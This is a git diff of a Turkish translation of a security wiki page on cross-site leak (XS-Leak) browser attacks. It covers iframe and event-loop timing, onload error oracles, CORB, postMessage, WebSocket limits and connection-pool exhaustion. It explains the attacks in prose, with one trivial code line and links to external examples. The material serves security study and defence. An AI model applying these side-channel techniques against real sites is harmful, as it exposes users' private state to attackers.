Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçmek üzere olduğu zaman tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği zaman meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir.
|
||||
|
||||
### Sandboxed Çerçeve Zamanlaması + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
@ -121,22 +121,22 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org
|
||||
- **Özet:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API'si, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in `onload` işleyicisi, yalnızca kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) niteliğini kullanabilir. Bu niteliğin dahil edilmesi, JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.
|
||||
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in `onload` işleyicisi, kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) niteliğini kullanabilir. Bu niteliğin dahil edilmesi, JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
```
|
||||
### #ID + error + onload
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**:
|
||||
- **Summary**: Eğer doğru içeriğe erişildiğinde sayfa hata verip, herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**:
|
||||
- **Özet**: Sayfa doğru içerik erişildiğinde hata veriyorsa ve herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
|
||||
- **Kod Örneği**:
|
||||
|
||||
Farz edelim ki **gizli** içeriği **bir Iframe'in içinde** **ekleyebilirsiniz**.
|
||||
Sayfanın **gizli** içeriği **bir Iframe içinde** **eklenebileceğini** varsayalım.
|
||||
|
||||
**Kurbanın**, bir **Iframe** kullanarak "_**flag**_" içeren dosyayı **aramasını** sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde, _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
Kurbanın **Iframe** kullanarak "_**flag**_" içeren dosyayı **aramasını** sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
|
||||
Örneğin:
|
||||
|
||||
@ -145,15 +145,15 @@ Farz edelim ki **gizli** içeriği **bir Iframe'in içinde** **ekleyebilirsiniz*
|
||||
|
||||
Eğer ilk URL **başarıyla yüklendiyse**, o zaman **URL**'nin **hash** kısmını **değiştirirken** **onload** olayı **tekrar tetiklenmeyecek**. Ama **eğer** sayfa **yüklenirken** bir tür **hata** almışsa, o zaman **onload** olayı **tekrar tetiklenecektir**.
|
||||
|
||||
Böylece, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz.
|
||||
O zaman, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz.
|
||||
|
||||
### Javascript Execution
|
||||
### Javascript İcra
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**:
|
||||
- **Summary:** Eğer **sayfa** **hassas** içeriği **dönüyorsa**, **veya** kullanıcı tarafından **kontrol edilebilen** bir **içerik** dönüyorsa. Kullanıcı **geçersiz durumda** **geçerli JS kodu** ayarlayabilir, her denemede **`<script>`** etiketleri içinde **yükleyebilir**, böylece **geçersiz** durumlarda saldırganların **kodu** **çalıştırılır**, ve **geçerli** durumlarda **hiçbir şey** çalıştırılmaz.
|
||||
- **Code Example:**
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**:
|
||||
- **Özet:** Eğer **sayfa** **hassas** içeriği **dönüyorsa**, **veya** kullanıcı tarafından **kontrol edilebilen** bir **içerik** dönüyorsa. Kullanıcı **geçersiz durumda** **geçerli JS kodu** ayarlayabilir, her denemeyi **`<script>`** etiketleri içinde **yükleyebilir**, böylece **geçersiz** durumlarda saldırganların **kodu** **çalıştırılır**, ve **geçerli** durumlarda **hiçbir şey** çalıştırılmaz.
|
||||
- **Kod Örneği:**
|
||||
|
||||
{{#ref}}
|
||||
javascript-execution-xs-leak.md
|
||||
@ -161,98 +161,98 @@ javascript-execution-xs-leak.md
|
||||
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu & Başlıklar
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu dönerse, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu & Başlıklar
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Özet**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu dönerse, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
|
||||
- **Kod Örneği**:
|
||||
|
||||
Daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
|
||||
|
||||
### onblur
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||||
- **Summary**: id veya name niteliğinden hassas verileri sızdırın.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||||
- **Özet**: id veya name niteliğinden hassas verileri sızdırın.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
Bir **iframe** içinde **bir sayfa yüklemek** ve sayfanın **belirtilen** öğeye **odaklanmasını** sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi vardır.\
|
||||
Bir **iframe** içinde **bir sayfa yüklemek** ve sayfanın **belirtilen** ifadesinin **üzerinde odaklanmasını** sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID elemanı var demektir.\
|
||||
Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz.
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
### postMessage Yayınları <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: postMessage'dan hassas bilgileri toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Code Example**: `Tüm postMessages'ı dinleyen herhangi bir kod.`
|
||||
- **Dahil Etme Yöntemleri**: Frames, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: API Kullanımı
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Özet**: postMessage'dan hassas bilgi toplayın veya postMessages'ın varlığını kullanarak sayfadaki kullanıcının durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Kod Örneği**: `Tüm postMessages'ı dinleyen herhangi bir kod.`
|
||||
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kaynaklar arasında iletişim kurmak için kullanır. Ancak, bu yöntem `targetOrigin` parametresi doğru bir şekilde belirtilmezse, **hassas bilgileri** yanlışlıkla açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajı almanın kendisi bir **oracle** işlevi görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının kimlik durumu hakkında bilgi verebilir, örneğin oturum açıp açmadıkları gibi.
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kökenler arasında iletişim kurmak için kullanır. Ancak, `targetOrigin` parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden **hassas bilgileri** açığa çıkarabilir ve herhangi bir pencerenin mesajları almasına izin verebilir. Ayrıca, bir mesaj almanın kendisi bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi verebilir, örneğin, kimlik doğrulamalarının olup olmadığını.
|
||||
|
||||
## Global Limits Techniques
|
||||
## Küresel Sınırlar Teknikleri
|
||||
|
||||
### WebSocket API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: WebSocket bağlantı limitini aşmak, bir çapraz kaynak sayfasının WebSocket bağlantı sayısını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
- **Dahil Etme Yöntemleri**: Frames, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: API Kullanımı
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Özet**: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantı sayısını sızdırır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Bir hedef sayfanın **kaç tane WebSocket bağlantısı kullandığını** belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
|
||||
|
||||
Eğer bir **kaynak** maksimum sayıda WebSocket bağlantı nesnesi kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantı sayısıdır**.
|
||||
Eğer bir **köken** **maksimum WebSocket** bağlantı nesnelerini kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantı sayısıdır**.
|
||||
|
||||
### Payment API
|
||||
### Ödeme API'si
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Sadece birinin aktif olabileceğini tespit edin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: API Kullanımı
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Özet**: Ödeme Talebini tespit edin çünkü yalnızca bir tane aktif olabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Bu XS-Sızıntı, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
Bu XS-Sızıntı, bir saldırganın **bir çapraz kaynak sayfasının ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
|
||||
Çünkü **sadece bir ödeme talebi aktif** olabileceğinden, eğer hedef web sitesi Payment Request API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Payment API UI'sini göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir.
|
||||
Çünkü **aynı anda yalnızca bir ödeme talebi aktif olabilir**, eğer hedef web sitesi Ödeme Talebi API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Ödeme API'si UI'sını göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
### Olay Döngüsünü Zamanlama <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||||
- **Summary:** Tek iş parçacıklı JS olay döngüsünü kötüye kullanarak bir webin yürütme süresini ölçün.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**:
|
||||
- **Tespit Edilebilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||||
- **Özet:** Tek iş parçacıklı JS olay döngüsünü kötüye kullanarak bir webin icra süresini ölçün.
|
||||
- **Kod Örneği**:
|
||||
|
||||
{{#ref}}
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda çalıştırabileceği** anlamına gelir. Bu özellik, **farklı bir kaynaktan gelen kodun çalıştırılmasının ne kadar sürdüğünü ölçmek için istismar edilebilir**. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kaynaklar da aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesinin ne kadar sürdüğünü çıkarabilir**. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kaynaklardan gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.
|
||||
JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda gerçekleştirebileceği** anlamına gelir. Bu özellik, **farklı bir kökenden gelen kodun çalıştırılmasının ne kadar sürdüğünü ölçmek için istismar edilebilir**. Bir saldırgan, olay havuzunun boş olduğu zamanlarda sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun olay döngüsündeki icra süresini ölçebilir. Eğer diğer kökenler de aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin icrasındaki gecikmeleri gözlemleyerek bu dış olayların ne kadar sürdüğünü çıkarabilir**. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kökenlerden gelen kodun icra süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
> Bir icra zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
|
||||
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
### Meşgul Olay Döngüsü <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**:
|
||||
- **Tespit Edilebilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Özet:** Bir web işleminin icra süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun icra edilmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde icra edilen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak icra edilir ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
|
||||
- **Kod Örneği**:
|
||||
|
||||
Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kaynağın yürütme zamanlamasını etkileyerek, o kaynağın faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kaynağın verilerine doğrudan erişim gerektirmez, bunun yerine o kaynağın faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır.
|
||||
Olay döngüsünü kilitleyerek icra süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin icra zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişim gerektirmez, aksine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
> Bir icra zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
|
||||
### Connection Pool
|
||||
### Bağlantı Havuzu
|
||||
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**: JavaScript İstekleri
|
||||
- **Tespit Edilebilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Özet:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
- **Kod Örneği**:
|
||||
|
||||
{{#ref}}
|
||||
connection-pool-example.md
|
||||
@ -263,166 +263,166 @@ Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistem
|
||||
1. Tarayıcının soket limitini belirleyin, örneğin, 256 global soket.
|
||||
2. 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli hostlara 255 istek başlatarak doldurun.
|
||||
3. Hedef sayfaya bir istek göndermek için 256. soketi kullanın.
|
||||
4. Farklı bir hosta 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek, bir soket mevcut olana kadar bekletilecektir. Bu isteğin ilerlemesi için geçen süre, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
4. Farklı bir hosta 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen gecikme, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda kullanılan 255 soketin hala meşgul olması nedeniyle mümkündür; bu, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
|
||||
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Connection Pool by Destination
|
||||
### Hedefe Göre Bağlantı Havuzu
|
||||
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
